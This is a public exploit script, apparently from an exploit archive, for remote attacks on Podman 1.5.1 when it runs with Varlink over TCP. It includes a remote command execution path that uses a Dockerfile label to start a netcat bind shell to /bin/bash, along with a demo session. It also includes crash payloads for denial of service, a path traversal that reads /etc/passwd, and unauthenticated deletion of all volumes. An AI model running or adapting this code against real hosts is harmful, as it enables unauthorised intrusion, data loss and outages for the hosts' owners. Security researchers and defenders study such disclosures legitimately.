1
+ # Exploit Title: Podman & Varlink 1.5.1 - Remote Code Execution
2
+ # Exploit Author: Jeremy Brown
3
+ # Date: 2019-10-15
4
+ # Vendor Homepage: https://podman.io/
5
+ # Software Link: dnf install podman or https://github.com/containers/libpod/releases
6
+ # Version: 1.5.1
7
+ # Tested on: Fedora Server 30
8
+
9
+ #!/usr/bin/python
10
+ # -*- coding: UTF-8 -*-
11
+ #
12
+ # pickletime.py
13
+ #
14
+ # Podman + Varlink Insecure Config Remote Exploit
15
+ #
16
+ # -------
17
+ # Details
18
+ # -------
19
+ #
20
+ # Podman is container engine / platform similar to Docker supported
21
+ # by RedHat and Fedora with Varlink being a protocol to exchange
22
+ # messages, which comes in handy for things like a Remote API.
23
+ #
24
+ # Now depending on how Podman and Varlink are deployed, they can be
25
+ # susceptible to local and remote attacks. There are a few API bugs
26
+ # in Podman itself, as well as a way to execute arbitary commands if
27
+ # one can hit Podman via the Remote API. Running Podman with Varlink
28
+ # over tcp listening either on localhost or the network interface is the
29
+ # most vulnerable setup, but other ways such as access via the local UNIX
30
+ # socket or over SSH (key /w no passphrase is common) aren't likely
31
+ # to be vulnerable unless ACLs or other stuff is broken.
32
+ #
33
+ # ------------------
34
+ # Testing the issues
35
+ # ------------------
36
+ #
37
+ # - check; just connects and issues GetInfo() to see if the host is
38
+ # running a podman service
39
+ #
40
+ # - exec; arbitrary cmd execution via ContainerRunlabel() specified
41
+ # by "run" label in the specified hosted image (self-setup)
42
+ #
43
+ # - dos; crash the server via choosing a /random/ selection from
44
+ # the available parsing bugs in APIs (we like to have fun here)
45
+ #
46
+ # - blind; dir traversal in SearchImages() API to force server to
47
+ # read an arbitrary file (no client-side output)
48
+ #
49
+ # - volrm; loops to remove all volumes via VolumeRemove() behavior
50
+ #
51
+ # ---------
52
+ # Exec demo
53
+ # ---------
54
+ #
55
+ # $ ./pickletime.py check podman-host:6000
56
+ # -> Podman service confirmed on host
57
+ #
58
+ # Then create a Dockerfile with an edgy label, build and host it.
59
+ #
60
+ # [Dockerfile]
61
+ # FROM busybox
62
+ # LABEL run=“nc -l -p 10000 -e /bin/bash”
63
+ #
64
+ # $ ./pickletime.py exec podman-host:6000 docker-registry:5000/image run
65
+ # Done!
66
+ #
67
+ # $ nc podman-host 10000
68
+ # ps
69
+ # PID TTY TIME CMD
70
+ # 111640 pts/1 00:00:00 bash
71
+ # 111786 pts/1 00:00:00 podman
72
+ # 111797 pts/1 00:00:00 nc
73
+ # 111799 pts/1 00:00:00 bash
74
+ # 111801 pts/1 00:00:00 ps
75
+ #
76
+ #
77
+ # Tested Podman 1.4.4/1.5.1 and Varlink 18 on Fedora Server 30 x64
78
+ #
79
+ # -----------
80
+ # Other stuff
81
+ # -----------
82
+ #
83
+ # Note: admins can really setup their connection and deployment configuration
84
+ # however they like, so it's hard to say how many folks are 'doing it wrong'
85
+ # or actually are running with proper auth and hardening in place. Shodan
86
+ # folks have been contacted about adding support to discover Varlink services
87
+ # to get more data that way as well.
88
+ #
89
+ # Fixed bugs:
90
+ # - DoS #2 was fixed in 1.5.1
91
+ # - Updated security docs / cli flags TBD
92
+ #
93
+ # > Why pickles? Why not.
94
+ #
95
+ # Dependencies to run this code:
96
+ #
97
+ # sudo dnf install -y python3-podman-api
98
+ #
99
+ #
100
+ #
101
+
102
+ import os
103
+ import sys
104
+ import socket
105
+ import subprocess
106
+ import random
107
+ import json
108
+ import podman
109
+ import pickle
110
+ import time
111
+
112
+ serviceName = 'io.podman' # service name
113
+
114
+ def main ():
115
+ if (len (sys .argv ) < 2 ):
116
+ print ("Usage: %s <action> <host> [action....params]\n " % sys .argv [0 ])
117
+ print ("Eg: %s check tcp:podman-host:6000" % sys .argv [0 ])
118
+ print ("... %s exec tcp:podman-host:6000 docker-registry:5000/image run\n " % sys .argv [0 ])
119
+ print ("Actions: check, exec, dos, blind, volrm\n " )
120
+ return
121
+
122
+ action = sys .argv [1 ]
123
+ address = sys .argv [2 ] # eg. unix:/run/podman/io.podman for local testing
124
+
125
+ ip = address .split (':' )[1 ]
126
+ port = int (address .split (':' )[2 ])
127
+
128
+ if (action == 'exec' ):
129
+ if (len (sys .argv ) < 4 ):
130
+ print ("Error: need more args for exec" )
131
+ return
132
+
133
+ image = sys .argv [3 ] # 'source' for pull
134
+ label = sys .argv [4 ]
135
+
136
+ isItTime ()
137
+
138
+ try :
139
+ pman = podman .Client (uri = address )
140
+ except Exception :
141
+ print ("Error: can't connect to host" )
142
+ return
143
+
144
+ if (action == 'check' ):
145
+ result = json .dumps (pman .system .info ())
146
+
147
+ if ('podman_version' in result ):
148
+ print ("-> Podman service confirmed on host" )
149
+ return
150
+
151
+ print ("-!- Podman service was not found on host" )
152
+
153
+
154
+ elif (action == 'exec' ):
155
+ #
156
+ # First pull the image from the repo, then run the label
157
+ #
158
+ try :
159
+ result = pman .images .pull (image ) # PullImage()
160
+ except Exception as error :
161
+ pass # call fails sometimes if image already exists which is *ok*
162
+
163
+ #
164
+ # ContainerRunlabel() ... but, no library imp. we'll do it live!
165
+ #
166
+ method = serviceName + '.' + 'ContainerRunlabel'
167
+
168
+ message = '{\" method\" :\" '
169
+ message += method
170
+ message += '\" ,\" parameters\" :'
171
+ message += '{\" Runlabel\" :{\" image\" :\" '
172
+ message += image
173
+ message += '\" ,\" label\" :\" '
174
+ message += label
175
+ message += '\" }}}'
176
+ message += '\0 ' # end each msg with a NULL byte
177
+
178
+ doSocketSend (ip , port , message )
179
+
180
+
181
+ elif (action == 'dos' ):
182
+ #bug = 1 # !fun
183
+ bug = random .randint (1 ,2 ) # fun
184
+
185
+ if (bug == 1 ):
186
+ print ("one" )
187
+ source = 'test'
188
+
189
+ method = serviceName + '.' + 'LoadImage'
190
+
191
+ message = '{\" method\" :\" '
192
+ message += method
193
+ message += '\" ,\" parameters\" :'
194
+ message += '{\" source":\" '
195
+ message += source
196
+ message += '\" }}'
197
+ message += '\0 '
198
+
199
+ doSocketSend (ip , port , message )
200
+
201
+
202
+ # works on 1.4.4, fixed in 1.5.1
203
+ if (bug == 2 ):
204
+ print ("two" )
205
+
206
+ reference = 'b' * 238
207
+ source = '/dev/null' # this file must exist locally
208
+
209
+ method = serviceName + '.' + 'ImportImage'
210
+
211
+ message = '{\" method\" :\" '
212
+ message += method
213
+ message += '\" ,\" parameters\" :'
214
+ message += '{\" reference\" :\" '
215
+ message += reference
216
+ message += '\" ,\" source\" :\" '
217
+ message += source
218
+ message += '\" }}'
219
+ message += '\0 '
220
+
221
+ doSocketSend (ip , port , message )
222
+
223
+
224
+ #
225
+ # blind read of arbitrary files server-side
226
+ # ...interesting but not particularly useful by itself
227
+ #
228
+ # openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 7
229
+ # lseek(7, 0, SEEK_CUR) = 0
230
+ # fstat(7, {st_mode=S_IFREG|0644, st_size=1672, ...}) = 0
231
+ # read(7, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1672
232
+ # close(7)
233
+ #
234
+ elif (action == 'blind' ):
235
+ method = serviceName + '.' + 'SearchImages'
236
+ query = '../../../etc/passwd/' # magic '/' at the end
237
+
238
+ message = '{\" method\" :\" '
239
+ message += method
240
+ message += '\" ,\" parameters\" :'
241
+ message += '{\" query\" :\" '
242
+ message += query
243
+ message += '\" }}'
244
+ message += '\0 '
245
+
246
+ #pman.images.search(query) # unclear why this doesn't work
247
+ doSocketSend (ip , port , message )
248
+
249
+ #
250
+ # Not really a bug, but an interesting feature to demo without auth
251
+ # note: call CreateVolume() a few times beforehand to test the removal
252
+ #
253
+ elif (action == 'volrm' ):
254
+ method = serviceName + '.' + 'VolumeRemove'
255
+ n = 10 # this is probably enough to test, but change as necessary
256
+
257
+ message = '{\" method\" :\" '
258
+ message += method
259
+ message += '\" ,\" parameters\" :'
260
+ message += '{\" options\" :{\" volumes\" :[\" \" ]}}}' # empty = alphabetical removal
261
+ message += '\0 '
262
+
263
+ for _ in range (n ):
264
+ doSocketSend (ip , port , message )
265
+ time .sleep (0.5 ) # server processing time
266
+
267
+ print ("Done!" )
268
+
269
+
270
+ #
271
+ # podman/varlink libaries don't support calling these API calls, so native we must
272
+ #
273
+ def doSocketSend (ip , port , message ):
274
+ try :
275
+ sock = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
276
+ sock .connect ((ip , port ))
277
+ sock .send (message .encode ())
278
+
279
+ except Exception as error :
280
+ print (str (error ))
281
+ return
282
+
283
+ finally :
284
+ sock .close ()
285
+
286
+
287
+ #
288
+ # obligatory routine
289
+ #
290
+ def isItTime ():
291
+ tm = time .localtime ()
292
+
293
+ p = pickle .dumps ('it\' s pickle time!' )
294
+
295
+ if ((str (tm .tm_hour ) == '11' ) and (str (tm .tm_min ) == '11' )):
296
+ print (pickle .loads (p ))
297
+ else :
298
+ pass # no dill
299
+
300
+
301
+ if (__name__ == '__main__' ):
302
+ main ()
0 commit comments